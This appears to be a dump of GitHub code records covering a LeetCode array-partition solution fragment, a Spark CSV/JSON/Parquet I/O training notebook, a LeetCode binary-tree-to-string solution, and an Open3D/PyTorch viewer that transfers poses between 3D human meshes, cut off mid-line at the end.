Solution()\nRun.maxSumAfterPartitioning([1,15,7,9,2,5,10],3)\n\n\n\"\"\"\n1,15,7,9,2,5,10\n15,7,9 k = 3, i = 1\n7,\n\n\n\nFor each element i, get the max \nSecond for loop iterates only upto upto, k or i + 1, whichever is smaller\n\"\"\"","repo_name":"StuartsHome/leetcode","sub_path":"Questions/Partition/Partition_Array_Maximum_Sum.py","file_name":"Partition_Array_Maximum_Sum.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"41955913004","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport pyspark\nfrom pyspark.sql import SparkSession\n\nsc = pyspark.SparkContext()\nspark = SparkSession(sc)\n\n\n# In[22]:\n\n\nfrom pyspark.sql.types import StructField, StructType, StringType, LongType\ncsv_schema = StructType([\n # StructField (name, dataType, nullable, metadata)\n StructField(\"DEST_COUNTRY_NAME\", StringType(), True),\n StructField(\"ORIGIN_COUNTRY_NAME\", StringType(), True),\n StructField(\"count\", LongType(), False) \n])\n\n# spark.read is a DataFrameReader singleton class\ndf = spark.read .format('csv') .option('header', 'true') .schema(csv_schema) .load('spark_training_baseline/data/flights_multiple')\n\n#.load('spark_training_baseline/data/flights.csv')\ndf.show()\n\nprint(df.rdd.getNumPartitions())\n\n\n# In[5]:\n\n\nget_ipython().system('head -10 spark_training_baseline/data/flights.json')\n\n\n# In[13]:\n\n\ndf_json = spark.read .format('json') .option('compression', 'gzip') .schema(csv_schema) .load('/home/andras/git/spark/data/flights.json.gz')\ndf_json.show()\n\n\n# In[16]:\n\n\ndf.createOrReplaceTempView('flights')\nresult_df = spark.sql(\"\"\"\nSELECT ORIGIN_COUNTRY_NAME, sum(count) as total_outbound\nFROM flights\nGROUP BY ORIGIN_COUNTRY_NAME\nORDER BY total_outbound DESC;\n\"\"\")\nresult_df.show()\n\n\n# In[17]:\n\n\nresult_df.write .format('csv') .option('header', 'true') .option('sep', ';') .mode('overwrite') .save('data/flgiths_stat') \n\n\n# In[23]:\n\n\nget_ipython().system('ls data/flgiths_stat')\n\n\n# In[24]:\n\n\ndf2 = spark.read .format('csv') .option('header', 'true') .option('sep', ';') .load('data/flgiths_stat') \n\n\n# In[25]:\n\n\ndf2.rdd.getNumPartitions()\n\n\n# In[30]:\n\n\ndf3 = df2.repartition(3)\ndf3.rdd.getNumPartitions()\n\n\n# In[33]:\n\n\ndf4 = df3.repartition(1)\ndf4.write .format('csv') .option('header', 'true') .option('sep', ';') .mode('overwrite') .save('data/flgiths_stat2') \n\n\n# In[36]:\n\n\nget_ipython().system('ls data/flgiths_stat2')\n\n\n# In[35]:\n\n\n#df4 = df3.repartition(1)\ndf4 = df3.coalesce(1)\ndf4.write .format('csv') .option('header', 'true') .option('sep', ';') .mode('overwrite') .save('data/flgiths_stat2') \n\n\n# In[38]:\n\n\ndf_json.write .format('csv') .option('header', 'true') .option('sep', ';') .mode('overwrite') .partitionBy('ORIGIN_COUNTRY_NAME') .save('data/flgiths_stat2') \n\n\n# In[39]:\n\n\nget_ipython().system('pwd')\n\n\n# In[40]:\n\n\ndf4.write .format('parquet') .mode('overwrite') .save('data/flgiths_pq') \n\n\n# In[41]:\n\n\nget_ipython().system('ls data/flgiths_pq')\n\n\n# In[42]:\n\n\ndf_from_pq = spark.read .format('parquet') .load('data/flgiths_pq') \n\n\n# In[45]:\n\n\ndf_from_pq.select('ORIGIN_COUNTRY_NAME').show()\n\n\n# In[44]:\n\n\nget_ipython().system('pwd')\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"garzoand/spark-training-october-26","sub_path":"05_input_output/Spark IO.py","file_name":"Spark IO.py","file_ext":"py","file_size_in_byte":2813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"15003603144","text":"'''\nProblem:\nYou need to construct a string consists of parenthesis and integers from a binary tree with the preorder traversing way.\n\nThe null node needs to be represented by empty parenthesis pair \"()\". And you need to omit all the empty parenthesis pairs that don't affect the one-to-one mapping relationship between the string and the original binary tree.\n'''\n\n# Definition for a binary tree node.\nclass TreeNode(object):\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Solution(object):\n def tree2str(self, root):\n self.arr = []\n self.tree2strHelper(root)\n return(''.join(self.arr))\n\n def tree2strHelper(self, t):\n if not t:\n return\n self.arr.append(str(t.val))\n if t.right and not t.left:\n self.arr.append('()(')\n self.tree2strHelper(t.right)\n self.arr.append(')')\n else:\n if t.left:\n self.arr.append('(')\n self.tree2strHelper(t.left)\n self.arr.append(')')\n if t.right:\n self.arr.append('(')\n self.tree2strHelper(t.right)\n self.arr.append(')')","repo_name":"OhMesch/Algorithm-Problems","sub_path":"606-Construct-String-from-Binary-Tree.py","file_name":"606-Construct-String-from-Binary-Tree.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"43068671799","text":"import sys,os\n\nfrom numpy.core.fromnumeric import shape\nsys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))\n\nimport os\nimport trimesh\nimport numpy as np\nimport json\nimport open3d as o3d\nimport torch\nfrom tqdm import tqdm\nfrom timeit import default_timer as timer\nimport utils.deepsdf_utils as deepsdf_utils \nimport matplotlib.pyplot as plt\n\nfrom models.pose_decoder import PoseDecoder, PoseDecoderSE3\nfrom models.shape_decoder import ShapeDecoder\n\nfrom utils.pcd_utils import (BBox,\n trimesh_to_open3d,\n transform_pointcloud_to_opengl_coords,\n rotate_around_axis,\n origin, normalize_transformation)\n\nimport utils.nnutils as nnutils\nimport config as cfg\nimport data_scripts.config_data as cfg_data\n\n\nclass ViewerRepose:\n def __init__(\n self, \n labels,\n labels_tpose,\n shape_codes,\n pose_codes,\n out_root_dir,\n num_to_eval=-1,\n dataset_class=None,\n source_identity=None,\n target_identity=None,\n source_animation=None,\n target_animation=None,\n source_sample_id=None,\n target_sample_id=None,\n use_gt_tpose_mesh=False,\n render_video_options=\"/rhome/ppalafox/workspace/render_video_options\",\n mult=1\n ):\n self.reconstruction_res = 256 * mult\n self.max_batch = (mult * 32)**3\n\n self.labels = labels\n self.labels_tpose = labels_tpose\n self.num_to_eval = num_to_eval\n \n self.src_identity = source_identity\n self.tgt_identity = target_identity\n self.source_animation = source_animation\n self.target_animation = target_animation\n self.source_sample_id = source_sample_id\n self.target_sample_id = target_sample_id\n \n\n self.shape_codes = shape_codes\n self.pose_codes = pose_codes\n\n self.dataset_class = dataset_class\n\n self.src_ref = None\n self.tgt_ref = None\n self.src_cur = None\n self.tgt_cur = None\n self.src_refw = None\n self.tgt_refw = None\n\n self.show_src_ref = False\n self.show_tgt_ref = False\n self.show_src_cur = False\n self.show_tgt_cur = False\n self.show_src_refw = False\n self.show_tgt_refw = False\n\n # Find the identities' ids\n for identity_id, label_tpose in enumerate(self.labels_tpose):\n if label_tpose['identity_name'] == self.src_identity:\n self.src_identity_id = identity_id\n\n if label_tpose['identity_name'] == self.tgt_identity:\n self.tgt_identity_id = identity_id \n\n if self.source_animation is None:\n self.common_animation = None\n self.compute_common_animation()\n print(\"Common animation:\", self.common_animation)\n assert self.common_animation is not None\n else:\n # Get the frame_id (to then access the correct pose code) of the source identity\n for frame_id, label in enumerate(self.labels):\n if label['animation_name'] == self.source_animation and label['sample_id'] == self.source_sample_id:\n self.src_frame_id = frame_id\n\n self.SRC_REFW_COLOR = [0.4, 0.6, 0.4]\n self.SRC_CUR_COLOR = [0.1, 0.7, 0.1]\n self.TGT_REFW_COLOR = [0.6, 0.4, 0.4]\n self.TGT_CUR_COLOR = [0.6, 0.4, 0.4]\n\n self.time = 0\n\n self.use_gt_tpose_mesh = use_gt_tpose_mesh\n\n # Recording options\n self.view = \"frontal\"\n self.render_json = os.path.join(render_video_options, \"render_options.json\")\n self.viewpoint_json = os.path.join(render_video_options, \"viewpoint.json\")\n self.viewpoint_lateral_json = os.path.join(render_video_options, \"viewpoint_lateral.json\")\n os.makedirs(render_video_options, exist_ok=True)\n self.out_dir = os.path.join(out_root_dir, f\"{source_identity}__to__{target_identity}\")\n os.makedirs(self.out_dir, exist_ok=True)\n\n self.initialize()\n\n def compute_common_animation(self):\n # Go over the animations of the source identity and find a common animation (we just use the first, could use others)\n for src_anim_name in cfg_data.animations_by_identity[self.src_identity]:\n if src_anim_name in cfg_data.animations_by_identity[self.tgt_identity]:\n self.common_animation = src_anim_name\n break\n\n # Find the common frames within the animation\n candidate_frames_src = {}\n for frame_i, label in enumerate(self.labels):\n if label['identity_name'] == self.src_identity and label['animation_name'] == self.common_animation:\n candidate_frames_src[label['sample_id']] = frame_i\n\n candidate_frames_tgt = {}\n for frame_i, label in enumerate(self.labels):\n if label['identity_name'] == self.tgt_identity and label['animation_name'] == self.common_animation:\n candidate_frames_tgt[label['sample_id']] = frame_i\n \n # Find common samples\n candidate_frames_src_set = set(candidate_frames_src)\n candidate_frames_tgt_set = set(candidate_frames_tgt)\n\n # frame_i indexes pose_codes\n self.src_frame_i_by_sample_id = {}\n\n for sample_id in sorted(candidate_frames_src_set.intersection(candidate_frames_tgt_set)):\n self.src_frame_i_by_sample_id[sample_id] = candidate_frames_src[sample_id]\n # print(sample_id, candidate_frames_src[sample_id], candidate_frames_tgt[sample_id])\n\n def initialize(self):\n\n self.src_cur_list = []\n self.tgt_cur_list = []\n self.src_refw_list = []\n self.tgt_refw_list = []\n\n self.epes_src = []\n self.epes_tgt = []\n\n self.loaded_frames = 0\n\n self.mean_epe_src = 0\n self.mean_epe_tgt = 0\n\n src_ref_path = os.path.join(data_dir, self.dataset_class, self.src_identity, \"a_t_pose\", \"000000\")\n tgt_ref_path = os.path.join(data_dir, self.dataset_class, self.tgt_identity, \"a_t_pose\", \"000000\")\n\n ################################################################################################################\n # src ref\n ################################################################################################################\n if self.use_gt_tpose_mesh:\n src_ref_sample_path = os.path.join(src_ref_path, 'mesh_normalized.ply')\n assert os.path.isfile(src_ref_sample_path), src_ref_sample_path\n src_ref_mesh = trimesh.load(src_ref_sample_path)\n else:\n src_ref_mesh = deepsdf_utils.create_mesh(\n shape_decoder, self.shape_codes, identity_ids=[self.src_identity_id], shape_codes_dim=shape_codes_dim,\n N=self.reconstruction_res, max_batch=self.max_batch\n )\n p_src_ref = src_ref_mesh.vertices.astype(np.float32)\n p_src_ref_cuda = torch.from_numpy(p_src_ref)[None, :].cuda()\n\n # src ref (mesh)\n src_ref_mesh_o3d = trimesh_to_open3d(src_ref_mesh, self.SRC_REFW_COLOR)\n self.src_ref = src_ref_mesh_o3d\n\n ################################################################################################################\n # tgt ref\n ################################################################################################################\n if self.use_gt_tpose_mesh:\n tgt_ref_sample_path = os.path.join(tgt_ref_path, 'mesh_normalized.ply')\n assert os.path.isfile(tgt_ref_sample_path), tgt_ref_sample_path\n tgt_ref_mesh = trimesh.load(tgt_ref_sample_path)\n else:\n print()\n tgt_ref_mesh = deepsdf_utils.create_mesh(\n shape_decoder, self.shape_codes, identity_ids=[self.tgt_identity_id], shape_codes_dim=shape_codes_dim,\n N=self.reconstruction_res, max_batch=self.max_batch\n )\n p_tgt_ref = tgt_ref_mesh.vertices.astype(np.float32)\n p_tgt_ref_cuda = torch.from_numpy(p_tgt_ref)[None, :].cuda()\n\n # tgt ref (mesh)\n tgt_ref_mesh_o3d = trimesh_to_open3d(tgt_ref_mesh, self.TGT_REFW_COLOR)\n self.tgt_ref = tgt_ref_mesh_o3d\n \n # o3d.visualization.draw_geometries([tgt_ref_mesh_o3d])\n # o3d.visualization.draw_geometries([src_ref_mesh_o3d])\n\n ################################################################################################################\n ################################################################################################################\n # Go over the different poses\n ################################################################################################################\n ################################################################################################################\n if self.source_animation is None:\n for sample_id in self.src_frame_i_by_sample_id:\n\n frame_i = self.src_frame_i_by_sample_id[sample_id]\n\n src_cur_path = os.path.join(data_dir, self.dataset_class, self.src_identity, self.common_animation, sample_id)\n tgt_cur_path = os.path.join(data_dir, self.dataset_class, self.tgt_identity, self.common_animation, sample_id)\n \n # src cur\n src_cur_mesh_path = os.path.join(src_cur_path, 'mesh_normalized.ply')\n src_cur_mesh_o3d = o3d.io.read_triangle_mesh(src_cur_mesh_path)\n src_cur_mesh_o3d.compute_vertex_normals()\n src_cur_mesh_o3d.paint_uniform_color(self.SRC_CUR_COLOR)\n self.src_cur_list.append(src_cur_mesh_o3d)\n\n # tgt cur\n tgt_cur_sample_path = os.path.join(tgt_cur_path, 'mesh_normalized.ply')\n tgt_cur_mesh_o3d = o3d.io.read_triangle_mesh(tgt_cur_sample_path)\n tgt_cur_mesh_o3d.compute_vertex_normals()\n tgt_cur_mesh_o3d.paint_uniform_color(self.TGT_CUR_COLOR)\n self.tgt_cur_list.append(tgt_cur_mesh_o3d)\n\n ##########################################################################################\n ##########################################################################################\n ##########################################################################################\n # SRC\n ##########################################################################################\n ##########################################################################################\n ##########################################################################################\n \n points = p_src_ref_cuda # [1, 100000, 3]\n points_flat = points.reshape(-1, 3) # [100000, 3]\n\n with torch.no_grad():\n \n ##########################################################################################\n ### Prepare shape codes\n shape_codes_batch = self.shape_codes[[self.src_identity_id], :] # [bs, 1, C]\n assert shape_codes_batch.shape == (1, 1, shape_codes_dim), f\"{shape_codes_batch} vs {(1, 1, shape_codes_dim)}\"\n\n # Extent latent code to all sampled points\n shape_codes_repeat = shape_codes_batch.expand(-1, points_flat.shape[0], -1) # [bs, N, C]\n shape_codes_inputs = shape_codes_repeat.reshape(-1, shape_codes_dim) # [bs*N, C]\n\n ### Prepare pose codes\n pose_codes_batch = self.pose_codes[[frame_i], ...] # [bs, 1, C]\n assert pose_codes_batch.shape == (1, 1, pose_codes_dim), f\"{pose_codes_batch.shape} vs {(1, 1, pose_codes_dim)}\"\n\n # Extent latent code to all sampled points\n pose_codes_repeat = pose_codes_batch.expand(-1, points_flat.shape[0], -1) # [bs, N, C]\n pose_codes_inputs = pose_codes_repeat.reshape(-1, pose_codes_dim) # [bs*N, C]\n ##########################################################################################\n\n # Concatenate pose and shape codes\n shape_pose_codes_inputs = torch.cat([shape_codes_inputs, pose_codes_inputs], 1)\n \n # Concatenate (for each sample point), the corresponding code and the p_cur coords\n pose_inputs = torch.cat([shape_pose_codes_inputs, points_flat], 1)\n\n # Predict delta flow\n p_src_ref_warped, _ = pose_decoder(pose_inputs) # [bs*N, 3]\n\n # REFW\n p_src_ref_warped = p_src_ref_warped.detach().cpu().numpy()\n src_ref_warped_mesh_o3d = o3d.geometry.TriangleMesh(\n o3d.utility.Vector3dVector(p_src_ref_warped),\n o3d.utility.Vector3iVector(src_ref_mesh.faces),\n )\n src_ref_warped_mesh_o3d.compute_vertex_normals()\n src_ref_warped_mesh_o3d.paint_uniform_color(self.SRC_REFW_COLOR)\n self.src_refw_list.append(src_ref_warped_mesh_o3d)\n\n ##########################################################################################\n ##########################################################################################\n ##########################################################################################\n # TGT\n ##########################################################################################\n ##########################################################################################\n ##########################################################################################\n \n points = p_tgt_ref_cuda # [1, 100000, 3]\n points_flat = points.reshape(-1, 3) # [100000, 3]\n\n with torch.no_grad():\n \n ##########################################################################################\n ### Prepare shape codes\n shape_codes_batch = self.shape_codes[[self.tgt_identity_id], :] # [bs, 1, C]\n assert shape_codes_batch.shape == (1, 1, shape_codes_dim), f\"{shape_codes_batch} vs {(1, 1, shape_codes_dim)}\"\n\n # Extent latent code to all sampled points\n shape_codes_repeat = shape_codes_batch.expand(-1, points_flat.shape[0], -1) # [bs, N, C]\n shape_codes_inputs = shape_codes_repeat.reshape(-1, shape_codes_dim) # [bs*N, C]\n\n ### Prepare pose codes\n pose_codes_batch = self.pose_codes[[frame_i], ...] # [bs, 1, C]\n assert pose_codes_batch.shape == (1, 1, pose_codes_dim), f\"{pose_codes_batch.shape} vs {(1, 1, pose_codes_dim)}\"\n\n # Extent latent code to all sampled points\n pose_codes_repeat = pose_codes_batch.expand(-1, points_flat.shape[0], -1) # [bs, N, C]\n pose_codes_inputs = pose_codes_repeat.reshape(-1, pose_codes_dim) # [bs*N, C]\n ##########################################################################################\n\n # Concatenate pose and shape codes\n shape_pose_codes_inputs = torch.cat([shape_codes_inputs, pose_codes_inputs], 1)\n \n # Concatenate (for each sample point), the corresponding code and the p_cur coords\n pose_inputs = torch.cat([shape_pose_codes_inputs, points_flat], 1)\n\n # Predict delta flow\n p_tgt_ref_warped, _ = pose_decoder(pose_inputs) # [bs*N, 3]\n\n # REFW\n # REFW\n p_tgt_ref_warped = p_tgt_ref_warped.detach().cpu().numpy()\n tgt_ref_warped_mesh_o3d = o3d.geometry.TriangleMesh(\n o3d.utility.Vector3dVector(p_tgt_ref_warped),\n o3d.utility.Vector3iVector(tgt_ref_mesh.faces),\n )\n tgt_ref_warped_mesh_o3d.compute_vertex_normals()\n tgt_ref_warped_mesh_o3d.paint_uniform_color(self.TGT_REFW_COLOR)\n self.tgt_refw_list.append(tgt_ref_warped_mesh_o3d)\n\n ##########################################################################################\n ##########################################################################################\n\n # Increase counter of evaluated frames\n self.loaded_frames += 1\n\n print(f'Loaded {self.loaded_frames} frames')\n\n if self.loaded_frames == self.num_to_eval:\n print()\n print(f\"Stopping early. Already loaded {self.loaded_frames}\")\n print()\n break\n else:\n\n src_cur_path = os.path.join(data_dir, self.dataset_class, self.src_identity, self.source_animation, self.source_sample_id)\n tgt_cur_path = os.path.join(data_dir, self.dataset_class, self.tgt_identity, self.target_animation, self.target_sample_id)\n \n # src cur\n src_cur_mesh_path = os.path.join(src_cur_path, 'mesh_normalized.ply')\n src_cur_mesh_o3d = o3d.io.read_triangle_mesh(src_cur_mesh_path)\n src_cur_mesh_o3d.compute_vertex_normals()\n src_cur_mesh_o3d.paint_uniform_color(self.SRC_CUR_COLOR)\n self.src_cur_list.append(src_cur_mesh_o3d)\n\n # tgt cur\n tgt_cur_sample_path = os.path.join(tgt_cur_path, 'mesh_normalized.ply')\n tgt_cur_mesh_o3d = o3d.io.read_triangle_mesh(tgt_cur_sample_path)\n tgt_cur_mesh_o3d.compute_vertex_normals()\n tgt_cur_mesh_o3d.paint_uniform_color(self.TGT_CUR_COLOR)\n self.tgt_cur_list.append(tgt_cur_mesh_o3d)\n\n ##########################################################################################\n ##########################################################################################\n ##########################################################################################\n # SRC\n ##########################################################################################\n ##########################################################################################\n ##########################################################################################\n \n points = p_src_ref_cuda # [1, 100000, 3]\n points_flat = points.reshape(-1, 3) # [100000, 3]\n\n with torch.no_grad():\n \n ##########################################################################################\n ### Prepare shape codes\n shape_codes_batch = self.shape_codes[[self.src_identity_id], :] # [bs, 1, C]\n assert shape_codes_batch.shape == (1, 1, shape_codes_dim), f\"{shape_codes_batch} vs {(1, 1, shape_codes_dim)}\"\n\n # Extent latent code to all sampled points\n shape_codes_repeat = shape_codes_batch.expand(-1, points_flat.shape[0], -1) # [bs, N, C]\n shape_codes_inputs = shape_codes_repeat.reshape(-1, shape_codes_dim) # [bs*N, C]\n\n ### Prepare pose codes\n pose_codes_batch = self.pose_codes[[self.src_frame_id], ...] # [bs, 1, C]\n assert pose_codes_batch.shape == (1, 1, pose_codes_dim), f\"{pose_codes_batch.shape} vs {(1, 1, pose_codes_dim)}\"\n\n # Extent latent code to all sampled points\n pose_codes_repeat = pose_codes_batch.expand(-1, points_flat.shape[0], -1) # [bs, N, C]\n pose_codes_inputs = pose_codes_repeat.reshape(-1, pose_codes_dim) # [bs*N, C]\n ##########################################################################################\n\n # Concatenate pose and shape codes\n shape_pose_codes_inputs = torch.cat([shape_codes_inputs, pose_codes_inputs], 1)\n \n # Concatenate (for each sample point), the corresponding code and the p_cur coords\n pose_inputs = torch.cat([shape_pose_codes_inputs, points_flat], 1)\n\n # Predict delta flow\n p_src_ref_warped, _ = pose_decoder(pose_inputs) # [bs*N, 3]\n\n # REFW\n p_src_ref_warped = p_src_ref_warped.detach().cpu().numpy()\n src_ref_warped_mesh_o3d = o3d.geometry.TriangleMesh(\n o3d.utility.Vector3dVector(p_src_ref_warped),\n o3d.utility.Vector3iVector(src_ref_mesh.faces),\n )\n src_ref_warped_mesh_o3d.compute_vertex_normals()\n src_ref_warped_mesh_o3d.paint_uniform_color(self.SRC_REFW_COLOR)\n self.src_refw_list.append(src_ref_warped_mesh_o3d)\n\n ##########################################################################################\n ##########################################################################################\n ##########################################################################################\n # TGT\n ##########################################################################################\n ##########################################################################################\n ##########################################################################################\n \n points = p_tgt_ref_cuda # [1, 100000, 3]\n points_flat = points.reshape(-1, 3) # [100000, 3]\n\n with torch.no_grad():\n \n ##########################################################################################\n ### Prepare shape codes\n shape_codes_batch = self.shape_codes[[self.tgt_identity_id], :] # [bs, 1, C]\n assert shape_codes_batch.shape == (1, 1, shape_codes_dim), f\"{shape_codes_batch} vs {(1, 1, shape_codes_dim)}\"\n\n # Extent latent code to all sampled points\n shape_codes_repeat = shape_codes_batch.expand(-1, points_flat.shape[0], -1) # [bs, N, C]\n shape_codes_inputs = shape_codes_repeat.reshape(-1, shape_codes_dim) # [bs*N, C]\n\n ### Prepare pose codes\n pose_codes_batch = self.pose_codes[[self.src_frame_id], ...] # [bs, 1, C]\n assert pose_codes_batch.shape == (1, 1, pose_codes_dim), f\"{pose_codes_batch.shape} vs {(1, 1, pose_codes_dim)}\"\n\n # Extent latent code to all sampled points\n pose_codes_repeat = pose_codes_batch.expand(-1, points_flat.shape[0], -1) # [bs, N, C]\n pose_codes_inputs = pose_codes_repeat.reshape(-1, pose_codes_dim) # [bs*N, C]\n ##########################################################################################\n\n # Concatenate pose and shape codes\n shape_pose_codes_inputs = torch.cat([shape_codes_inputs, pose_codes_inputs], 1)\n \n # Concatenate (for each sample point), the corresponding code and the p_cur coords\n pose_inputs = torch.cat([shape_pose_codes_inputs, points_flat], 1)\n\n # Predict delta flow\n p_tgt_ref_warped, _ = pose_decoder(pose_inputs) # [bs*N, 3]\n\n # REFW\n # REFW\n p_tgt_ref_warped = p_tgt_ref_warped.detach().cpu().numpy()\n tgt_ref_warped_mesh_o3d = o3d.geometry.TriangleMesh(\n o3d.utility.Vector3dVector(p_tgt_ref_warped),\n o3d.utility.Vector3iVector(tgt_ref_mesh.faces),\n )\n tgt_ref_warped_mesh_o3d.compute_vertex_normals()\n tgt_ref_warped_mesh_o3d.paint_uniform_color(self.TGT_REFW_COLOR)\n self.tgt_refw_list.append(tgt_ref_warped_mesh_o3d)\n\n # Increase counter of evaluated frames\n self.loaded_frames += 1\n\n # ###############################################################################################\n # # Generate additional meshes.\n # ###############################################################################################\n # unit bbox\n p_min = -0.5\n p_max = 0.5\n self.unit_bbox = BBox.compute_bbox_from_min_point_and_max_point(\n np.array([p_min]*3), np.array([p_max]*3), color=[0.7, 0.7, 0.7]\n )\n\n # world frame\n self.world_frame = o3d.geometry.TriangleMesh.create_coordinate_frame(\n size=0.00001, origin=[0, 0, 0]\n )\n\n\n def update_src_cur(self, vis):\n param = vis.get_view_control().convert_to_pinhole_camera_parameters()\n\n if self.src_cur is not None:\n vis.remove_geometry(self.src_cur)\n \n if self.show_src_cur:\n self.src_cur = self.src_cur_list[self.time]\n vis.add_geometry(self.src_cur)\n\n # print(f\"EPE - {self.time}: {self.mean[self.time]}\")\n\n ctr = vis.get_view_control()\n ctr.convert_from_pinhole_camera_parameters(param)\n\n def update_src_refw(self, vis):\n param = vis.get_view_control().convert_to_pinhole_camera_parameters()\n\n if self.src_refw is not None:\n vis.remove_geometry(self.src_refw)\n \n if self.show_src_refw:\n self.src_refw = self.src_refw_list[self.time]\n vis.add_geometry(self.src_refw)\n\n ctr = vis.get_view_control()\n ctr.convert_from_pinhole_camera_parameters(param)\n\n def update_tgt_cur(self, vis):\n param = vis.get_view_control().convert_to_pinhole_camera_parameters()\n\n if self.tgt_cur is not None:\n vis.remove_geometry(self.tgt_cur)\n \n if self.show_tgt_cur:\n self.tgt_cur = self.tgt_cur_list[self.time]\n vis.add_geometry(self.tgt_cur)\n\n # print(f\"EPE - {self.time}: {self.mean[self.time]}\")\n\n ctr = vis.get_view_control()\n ctr.convert_from_pinhole_camera_parameters(param)\n\n def update_tgt_refw(self, vis):\n param = vis.get_view_control().convert_to_pinhole_camera_parameters()\n\n if self.tgt_refw is not None:\n vis.remove_geometry(self.tgt_refw)\n \n if self.show_tgt_refw:\n self.tgt_refw = self.tgt_refw_list[self.time]\n vis.add_geometry(self.tgt_refw)\n\n ctr = vis.get_view_control()\n ctr.convert_from_pinhole_camera_parameters(param)\n\n def update_tgt_ref(self, vis):\n param = vis.get_view_control().convert_to_pinhole_camera_parameters()\n\n if self.tgt_ref is not None:\n vis.remove_geometry(self.tgt_ref)\n \n if self.show_tgt_ref:\n vis.add_geometry(self.tgt_ref)\n\n ctr = vis.get_view_control()\n ctr.convert_from_pinhole_camera_parameters(param)\n\n def _load_render_and_viewpoint_option(self, vis, view):\n vis.get_render_option().load_from_json(self.render_json)\n \n # change viewpoint\n ctr = vis.get_view_control()\n if view == \"frontal\":\n param = o3d.io.read_pinhole_camera_parameters(self.viewpoint_json)\n elif view == \"lateral\":\n param = o3d.io.read_pinhole_camera_parameters(self.viewpoint_lateral_json)\n else:\n exit()\n ctr.convert_from_pinhole_camera_parameters(param)\n\n def render_image(self, vis, out_filename):\n image_np = np.asarray(vis.capture_screen_float_buffer(False))\n h, w, _ = image_np.shape\n new_h, new_w = h, h\n image_np = image_np[(h-new_h)//2:(h+new_h)//2, (w-new_w)//2:(w+new_w)//2,:]\n plt.imsave(f\"{self.out_dir}/{out_filename}.jpg\", image_np)\n \n def run(self):\n\n def update_all(vis):\n self.update_src_cur(vis)\n self.update_tgt_cur(vis)\n self.update_src_refw(vis)\n self.update_tgt_refw(vis)\n self.update_tgt_ref(vis)\n return False\n\n # Define callbacks.\n def toggle_next(vis):\n self.time += 1\n if self.time >= self.loaded_frames:\n self.time = 0\n self.update_src_cur(vis)\n self.update_tgt_cur(vis)\n self.update_src_refw(vis)\n self.update_tgt_refw(vis)\n self.update_tgt_ref(vis)\n return False\n \n def toggle_previous(vis):\n self.time -= 1\n if self.time < 0:\n self.time = self.loaded_frames - 1\n self.update_src_cur(vis)\n self.update_tgt_cur(vis)\n self.update_src_refw(vis)\n self.update_tgt_refw(vis)\n self.update_tgt_ref(vis)\n return False\n\n def toggle_src_cur(vis):\n self.show_src_cur = not self.show_src_cur\n self.update_src_cur(vis)\n return False\n\n def toggle_tgt_cur(vis):\n self.show_tgt_cur = not self.show_tgt_cur\n self.update_tgt_cur(vis)\n return False\n \n def toggle_src_refw(vis):\n self.show_src_refw = not self.show_src_refw\n self.update_src_refw(vis)\n return False\n\n def toggle_tgt_refw(vis):\n self.show_tgt_refw = not self.show_tgt_refw\n self.update_tgt_refw(vis)\n return False\n\n def toggle_tgt_ref(vis):\n self.show_tgt_ref = not self.show_tgt_ref\n self.update_tgt_ref(vis)\n return False\n \n def render(vis):\n print(\"::render\")\n\n self._load_render_and_viewpoint_option(vis, self.view)\n\n ##################################################\n # Render the tpose of the tgt identity\n ##################################################\n self.show_tgt_ref = True\n update_all(vis)\n vis.poll_events()\n vis.update_renderer()\n self.render_image(vis, \"tgt_Tpose\")\n self.show_tgt_ref = False\n\n ##################################################\n # Render the src poses\n ##################################################\n self.time = 0\n self.show_src_refw = True \n self.src_refw = self.src_refw_list[self.time]\n update_all(vis)\n vis.poll_events()\n vis.update_renderer()\n for i in range(len(self.src_refw_list)):\n # Render\n self.render_image(vis, f\"src_posedd_{str(i).zfill(2)}\")\n toggle_next(vis)\n vis.poll_events()\n vis.update_renderer()\n self.show_src_refw = False \n\n ##################################################\n # Render the tgt poses\n ##################################################\n self.time = 0\n self.show_tgt_refw = True \n self.tgt_refw = self.tgt_refw_list[self.time]\n update_all(vis)\n vis.poll_events()\n vis.update_renderer()\n for i in range(len(self.tgt_refw_list)):\n # Render\n self.render_image(vis, f\"tgt_posed_{str(i).zfill(2)}\")\n toggle_next(vis)\n vis.poll_events()\n vis.update_renderer()\n\n\n return False\n\n key_to_callback = {}\n key_to_callback[ord(\"D\")] = toggle_next\n key_to_callback[ord(\"A\")] = toggle_previous\n key_to_callback[ord(\"Z\")] = toggle_src_cur\n key_to_callback[ord(\"X\")] = toggle_src_refw\n key_to_callback[ord(\"C\")] = toggle_tgt_cur\n key_to_callback[ord(\"V\")] = toggle_tgt_refw\n key_to_callback[ord(\"T\")] = toggle_tgt_ref\n key_to_callback[ord(\"R\")] = render\n\n # Add mesh at initial time step.\n assert self.time < self.loaded_frames\n\n print(\"Showing time\", self.time)\n\n # Start showing the tgt tpose\n self.show_tgt_ref = True\n\n # o3d.visualization.draw_geometries_with_key_callbacks([self.unit_bbox, self.src_refw, self.src_cur], key_to_callback)\n o3d.visualization.draw_geometries_with_key_callbacks([self.world_frame, self.tgt_ref], key_to_callback)\n\n\n################################################################################################################################\n################################################################################################################################\n################################################################################################################################\n################################################################################################################################\n################################################################################################################################\n################################################################################################################################\n################################################################################################################################\n################################################################################################################################\n################################################################################################################################\n################################################################################################################################\n################################################################################################################################\n\n\nif __name__ == \"__main__\":\n\n torch.backends.cudnn.benchmark = True\n\n ########################################################################################################################\n # Options\n ########################################################################################################################\n # import argparse\n # parser = argparse.ArgumentParser(\n # description='Run Model'\n # )\n # parser.add_argument('-o', '--optimize_codes', action='store_true')\n # parser.add_argument('-e', '--extra_name', default=\"\")\n # parser.add_argument('-v', '--viz', action='store_true')\n # parser.add_argument('-n', '--optim_name', default=None)\n\n # try:\n # args = parser.parse_args()\n # except:\n # args = parser.parse_known_args()[0]\n\n out_root_dir = \"/cluster_HDD/lothlann/ppalafox/qualitative_results__transfer_pose\"\n \n viz = False\n\n # ------------------------------------------- #\n DATASET_TYPE = 